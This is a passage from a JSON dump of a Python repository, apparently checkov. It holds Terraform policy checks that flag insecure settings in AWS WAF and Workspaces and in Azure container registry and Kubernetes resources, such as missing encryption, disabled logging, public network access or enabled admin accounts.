    "content": "from typing import List, Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WAFEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"CloudFront Distribution should have WAF enabled\"\n        id = \"CKV_AWS_68\"\n        supported_resources = [\"aws_cloudfront_distribution\"]\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"web_acl_id\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [ANY_VALUE]\n\n\ncheck = WAFEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/WAFHasAnyRules.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass WAFHasAnyRules(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure WAF has associated rules\"\n        id = \"CKV_AWS_175\"\n        supported_resources = ['aws_waf_web_acl', 'aws_wafregional_web_acl', 'aws_wafv2_web_acl']\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if \"rules\" in conf.keys() and conf[\"rules\"] != [{}]:\n            return CheckResult.PASSED\n        if \"rule\" in conf.keys() and conf[\"rule\"] != [{}]:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = WAFHasAnyRules()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/WAFHasLogs.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass WAFHasLogs(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Logging is enabled for WAF Web Access Control Lists\"\n        id = \"CKV_AWS_176\"\n        supported_resources = ('aws_waf_web_acl', 'aws_wafregional_web_acl')\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'logging_configuration/[0]/log_destination'\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = WAFHasLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass WAFRuleHasAnyActions(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure WAF rule has any actions\"\n        id = \"CKV_AWS_342\"\n        supported_resources = ('aws_waf_web_acl', 'aws_wafregional_web_acl', 'aws_wafv2_web_acl',\n                               'aws_wafv2_rule_group', 'aws_wafregional_rule_group', 'aws_waf_rule_group')\n        categories = (CheckCategories.APPLICATION_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        rules = None\n        if conf.get(\"rule\") and isinstance(conf[\"rule\"], list):\n            rules = conf[\"rule\"]\n        # don't blame me I didn't name one rule and the other rules and the other activated_rule\n        elif conf.get(\"rules\") and isinstance(conf[\"rules\"], list):\n            rules = conf[\"rules\"]\n        elif conf.get(\"activated_rule\") and isinstance(conf[\"activated_rule\"], list):\n            rules = conf[\"activated_rule\"]\n\n        if isinstance(rules, list):\n            for rule in rules:\n                passing = False\n                if \"action\" in rule and rule['action'] != [{}]:\n                    passing = True\n                if \"override_action\" in rule and rule['override_action'] != [{}]:\n                    passing = True\n\n                statements = rule.get('statement')\n                if statements and isinstance(statements, list):\n                    for statement in statements:\n                        if not isinstance(statement, dict):\n                            continue\n                        if statement.get('managed_rule_group_statement'):\n                            passing = True\n\n                if not passing:\n                    return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\n            \"rule\",\n            \"rules\",\n            \"activated_rule\",\n        ]\n\n\ncheck = WAFRuleHasAnyActions()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/WorkspaceRootVolumeEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WorkspaceRootVolumeEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Workspace root volumes are encrypted\"\n        id = \"CKV_AWS_156\"\n        supported_resources = ['aws_workspaces_workspace']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'root_volume_encryption_enabled'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = WorkspaceRootVolumeEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/WorkspaceUserVolumeEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WorkspaceUserVolumeEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Workspace user volumes are encrypted\"\n        id = \"CKV_AWS_155\"\n        supported_resources = ['aws_workspaces_workspace']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'user_volume_encryption_enabled'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = WorkspaceUserVolumeEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACRAdminAccountDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom typing import List, Any\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ACRAdminAccountDisabled(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure ACR admin account is disabled\"\n        id = \"CKV_AZURE_137\"\n        supported_resources = ['azurerm_container_registry']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"admin_enabled\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = ACRAdminAccountDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACRAnonymousPullDisabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ACRAnonymousPullDisabled(BaseResourceCheck):\n    ANONYMOUS_PULL_SKUS = {\"Standard\", \"Premium\"}  # noqa: CCE003  # a static attribute\n\n    def __init__(self):\n        name = \"Ensures that ACR disables anonymous pulling of images\"\n        id = \"CKV_AZURE_138\"\n        supported_resources = (\"azurerm_container_registry\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # anonymous_pull_enabled only applies to Standard and Premium skus, by default is set to false\n        if (\n            \"sku\" in conf.keys()\n            and isinstance(conf[\"sku\"][0], str)\n            and conf[\"sku\"][0] in ACRAnonymousPullDisabled.ANONYMOUS_PULL_SKUS\n            and \"anonymous_pull_enabled\" in conf.keys()\n            and conf[\"anonymous_pull_enabled\"][0]\n        ):\n            self.evaluated_keys = [\"sku\", \"anonymous_pull_enabled\"]\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ACRAnonymousPullDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACRContainerScanEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ACRContainerScanEnabled(BaseResourceCheck):\n    SKUS = {\"Standard\", \"Premium\"}  # noqa: CCE003  # a static attribute\n\n    def __init__(self):\n        name = \"Enable vulnerability scanning for container images.\"\n        id = \"CKV_AZURE_163\"\n        supported_resources = (\"azurerm_container_registry\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # 'ContainerRegistry' tier\n        # 'standard', or higher -\n        # not Basic\n        if (\n            \"sku\" in conf.keys()\n            and isinstance(conf[\"sku\"][0], str)\n            and conf[\"sku\"][0] in ACRContainerScanEnabled.SKUS\n        ):\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"sku\"]\n\n\ncheck = ACRContainerScanEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACRDedicatedDataEndpointEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ACRDedicatedDataEndpointEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure dedicated data endpoints are enabled.\"\n        id = \"CKV_AZURE_237\"\n        supported_resources = (\"azurerm_container_registry\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"data_endpoint_enabled\"\n\n\ncheck = ACRDedicatedDataEndpointEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACREnableImageQuarantine.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ACREnableImageQuarantine(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure container image quarantine, scan, and mark images verified\"\n        id = \"CKV_AZURE_166\"\n        supported_resources = (\"azurerm_container_registry\",)\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"quarantine_policy_enabled\"\n\n\ncheck = ACREnableImageQuarantine()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACREnableRetentionPolicy.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ACREnableRetentionPolicy(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure a retention policy is set to cleanup untagged manifests.\"\n        id = \"CKV_AZURE_167\"\n        supported_resources = (\"azurerm_container_registry\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if 'retention_policy_in_days' in conf:\n            return CheckResult.PASSED\n\n        if 'retention_policy' in conf:\n            retention_policy = conf['retention_policy'][0]\n            if isinstance(retention_policy, dict) and retention_policy.get('enabled') == [True]:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['retention_policy_in_days', 'retention_policy/enabled']\n\n\ncheck = ACREnableRetentionPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACREnableZoneRedundancy.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nfrom typing import Any\n\n\nclass ACREnableZoneRedundancy(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        \"\"\"\n        Zone redundancy provides resiliency and high availability to\n        a registry or replication resource in a specific region. Supported on Premium.\n        \"\"\"\n        name = \"Ensure Azure Container Registry (ACR) is zone redundant\"\n        id = \"CKV_AZURE_233\"\n        supported_resources = (\"azurerm_container_registry\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # check registry. default=false\n        self.evaluated_keys = [\"zone_redundancy_enabled\"]\n        if conf.get(\"zone_redundancy_enabled\", []) != [True]:\n            return CheckResult.FAILED\n\n        # check each replica. default=false\n        replications = conf.get(\"georeplications\", {})\n        for idx, replica in enumerate(replications):\n            zone_redundancy_enabled = replica.get('zone_redundancy_enabled', [])\n            if zone_redundancy_enabled != [True]:\n                self.evaluated_keys.append(f\"georeplications/[{idx}]/zone_redundancy_enabled\")\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ACREnableZoneRedundancy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACRGeoreplicated.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ACRGeoreplicated(BaseResourceCheck):\n    def __init__(self) -> None:\n        # Check to see the sku is set to premium with any replication block set\n\n        name = \"Ensure geo-replicated container registries to match multi-region container deployments.\"\n        id = \"CKV_AZURE_165\"\n        supported_resources = (\"azurerm_container_registry\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        sku = conf.get(\"sku\")\n        if sku == [\"Premium\"]:\n            replication = conf.get(\"georeplications\")\n            if replication:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['sku', 'georeplications']\n\n\ncheck = ACRGeoreplicated()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACRPublicNetworkAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ACRPublicNetworkAccessDisabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure ACR set to disable public networking\"\n        id = \"CKV_AZURE_139\"\n        supported_resources = ['azurerm_container_registry']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = ACRPublicNetworkAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/ACRUseSignedImages.py",
    "content": "from __future__ import annotations\n\nfrom typing import Dict, List, Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass ACRUseSignedImages(BaseResourceCheck):\n\n    def __init__(self):\n        # IN ARM - Set properties.policies.trustPolicy.status to enabled, set\n        # properties.policies.trustPolicy.type to Notary\n        # This is the default behaviour by the tf provider when the trust policy is enabled\n        name = \"Ensures that ACR uses signed/trusted images\"\n        id = \"CKV_AZURE_164\"\n        supported_resources = (\"azurerm_container_registry\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if 'trust_policy_enabled' in conf:\n            trust_policy_enabled = conf.get('trust_policy_enabled')\n            if isinstance(trust_policy_enabled, list) and trust_policy_enabled == [True]:\n                return CheckResult.PASSED\n\n        if 'trust_policy' in conf:\n            trust_policy = conf['trust_policy'][0]\n            if isinstance(trust_policy, dict) and trust_policy.get('enabled') == [True]:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['trust_policy_enabled', 'trust_policy/enabled']\n\n\ncheck = ACRUseSignedImages()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSApiServerAuthorizedIpRanges.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSApiServerAuthorizedIpRanges(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AKS has an API Server Authorized IP Ranges enabled\"\n        id = \"CKV_AZURE_6\"\n        supported_resources = (\"azurerm_kubernetes_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"api_server_access_profile/[0]/authorized_ip_ranges/[0]\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # can't be set for private cluster\n        private_cluster_enabled = conf.get(\"private_cluster_enabled\", [False])[0]\n        if private_cluster_enabled:\n            return CheckResult.PASSED\n\n        # provider version <=3.38.0\n        api_server = conf.get(\"api_server_authorized_ip_ranges\")\n        if api_server and isinstance(api_server, list) and api_server[0]:\n            return CheckResult.PASSED\n\n        return super().scan_resource_conf(conf)\n\n\ncheck = AKSApiServerAuthorizedIpRanges()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSDashboardDisabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AKSDashboardDisabled(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure Kubernetes Dashboard is disabled\"\n        id = \"CKV_AZURE_8\"\n        supported_resources = ['azurerm_kubernetes_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        addon_profile = conf.get('addon_profile')\n        if addon_profile:\n            addon_profile = addon_profile[0]\n        self.evaluated_keys = ['addon_profile']\n        if addon_profile and isinstance(addon_profile, dict):\n            dashboard = addon_profile.get('kube_dashboard', [[]])[0]\n            if isinstance(dashboard, dict):\n                if dashboard.get('enabled')[0]:\n                    self.evaluated_keys = ['addon_profile/kube_dashboard', 'addon_profile/kube_dashboard/[0]/enabled']\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AKSDashboardDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSEnablesPrivateClusters.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass APIServicesUseVirtualNetwork(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that AKS enables private clusters\"\n        id = \"CKV_AZURE_115\"\n        supported_resources = ['azurerm_kubernetes_cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"private_cluster_enabled\"\n\n\ncheck = APIServicesUseVirtualNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AKSEncryptionAtHostEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        With host-based encryption, the data stored on the VM host of\n        your AKS agent nodes' VMs is encrypted at rest and flows encrypted to the Storage service.\n\n        This means the temp disks are encrypted at rest with platform-managed keys.\n        The cache of OS and data disks is encrypted at rest with either platform-managed keys\n        or customer-managed keys depending on the encryption type set on those disks.\n        \"\"\"\n        name = \"Ensure that the AKS cluster encrypt temp disks, caches, and data flows \"\n        name += \"between Compute and Storage resources\"\n        id = \"CKV_AZURE_227\"\n        supported_resources = (\"azurerm_kubernetes_cluster\", \"azurerm_kubernetes_cluster_node_pool\")\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if self.entity_type == \"azurerm_kubernetes_cluster\":\n            if conf.get('default_node_pool'):\n                node_pool = conf['default_node_pool'][0]\n                if (node_pool.get('enable_host_encryption') == [True] or\n                        node_pool.get('host_encryption_enabled') == [True]):\n                    return CheckResult.PASSED\n            self.evaluated_keys = ['default_node_pool/[0]/enable_host_encryption',\n                                   'default_node_pool/[0]/host_encryption_enabled']\n        else:\n            if conf.get('enable_host_encryption') == [True] or conf.get('host_encryption_enabled') == [True]:\n                return CheckResult.PASSED\n            self.evaluated_keys = ['enable_host_encryption', 'host_encryption_enabled']\n\n        return CheckResult.FAILED\n\n\ncheck = AKSEncryptionAtHostEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSEphemeralOSDisks.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass AKSEphemeralOSDisks(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Temporary data can contain sensitive data at some points, by using ephemeral disks,\n        we ensure that data written to OS disk is stored on local VM storage and isn't persisted to Azure Storage\n\n        Azure automatically replicates data stored in the managed OS disk of a virtual machine to Azure storage\n        to avoid data loss in case the virtual machine needs to be relocated to another host.\n        Generally speaking, containers are not designed to have local state persisted to the managed OS disk,\n        hence this behavior offers limited value to AKS hosted while providing some drawbacks,\n        including slower node provisioning and higher read/write latency.\n\n        Ephemeral disks allow us also to have faster cluster operations like scale or upgrade\n        due to faster re-imaging and boot times.\n        \"\"\"\n        name = \"Ensure ephemeral disks are used for OS disks\"\n        id = \"CKV_AZURE_226\"\n        supported_resources = (\"azurerm_kubernetes_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"default_node_pool/[0]/os_disk_type\"\n\n    def get_expected_value(self) -> Any:\n        return \"Ephemeral\"\n\n\ncheck = AKSEphemeralOSDisks()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSIsPaidSku.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSIsPaidSku(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that AKS use the Paid Sku for its SLA\"\n        # AKS clusters should have Uptime\n        # SLA enabled to ensure availability\n        # of control plane components\n        # for production workloads.\n        id = \"CKV_AZURE_170\"\n        supported_resources = (\"azurerm_kubernetes_cluster\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"sku_tier\"\n\n    def get_expected_value(self) -> Any:\n        return \"Standard\"\n\n\ncheck = AKSIsPaidSku()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSLocalAdminDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSLocalAdminDisabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure AKS local admin account is disabled\"\n        id = \"CKV_AZURE_141\"\n        supported_resources = ['azurerm_kubernetes_cluster']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"local_account_disabled\"\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = AKSLocalAdminDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSLoggingEnabled.py",
    "content": "import dpath\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSLoggingEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure AKS logging to Azure Monitoring is Configured\"\n        id = \"CKV_AZURE_4\"\n        supported_resources = ['azurerm_kubernetes_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        self.provider_version_2_path = \"addon_profile/[0]/oms_agent/[0]/enabled\"\n        self.provider_version_3_path = \"oms_agent/[0]/log_analytics_workspace_id\"\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if dpath.search(conf, self.provider_version_2_path):\n            self.evaluated_keys = [self.provider_version_2_path]\n            return super().scan_resource_conf(conf)\n        elif dpath.search(conf, self.provider_version_3_path):\n            self.evaluated_keys = [self.provider_version_3_path]\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_inspected_key(self) -> str:\n        return self.provider_version_2_path\n\n\ncheck = AKSLoggingEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AKSMaxPodsMinimum(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.\"\n        id = \"CKV_AZURE_168\"\n        supported_resources = (\"azurerm_kubernetes_cluster\", \"azurerm_kubernetes_cluster_node_pool\")\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        max_pods = 30  # default is 30\n\n        self.evaluated_keys = [\"max_pods\"]\n        if \"max_pods\" in conf.keys() and isinstance(conf[\"max_pods\"][0], int):\n            max_pods = conf[\"max_pods\"][0]\n\n        if \"default_node_pool\" in conf.keys():\n            self.evaluated_keys = [\"default_node_pool/max_pods\"]\n            pool = conf[\"default_node_pool\"][0]\n            if \"max_pods\" in pool.keys():\n                max_pods_list = pool[\"max_pods\"]\n                if max_pods_list and isinstance(max_pods_list, list) and isinstance(max_pods_list[0], int):\n                    max_pods = max_pods_list[0]\n\n        if max_pods < 50:\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = AKSMaxPodsMinimum()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSNetworkPolicy.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSNetworkPolicy(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure AKS cluster has Network Policy configured\"\n        id = \"CKV_AZURE_7\"\n        supported_resources = ['azurerm_kubernetes_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'network_profile/[0]/network_policy'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AKSNetworkPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSNodePublicIpDisabled.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AKSNodePublicIpDisabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AKS cluster nodes do not have public IP addresses\"\n        id = \"CKV_AZURE_143\"\n        supported_resources = ['azurerm_kubernetes_cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if 'default_node_pool' in conf:\n            default_node_pool = conf['default_node_pool'][0]\n            if isinstance(default_node_pool, dict):\n                if default_node_pool.get('enable_node_public_ip') == [True] or default_node_pool.get('node_public_ip_enabled') == [True]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['default_node_pool/[0]/enable_node_public_ip', 'default_node_pool/[0]/node_public_ip_enabled']\n\n\ncheck = AKSNodePublicIpDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AKSOnlyCriticalPodsOnSystemNodes.py",
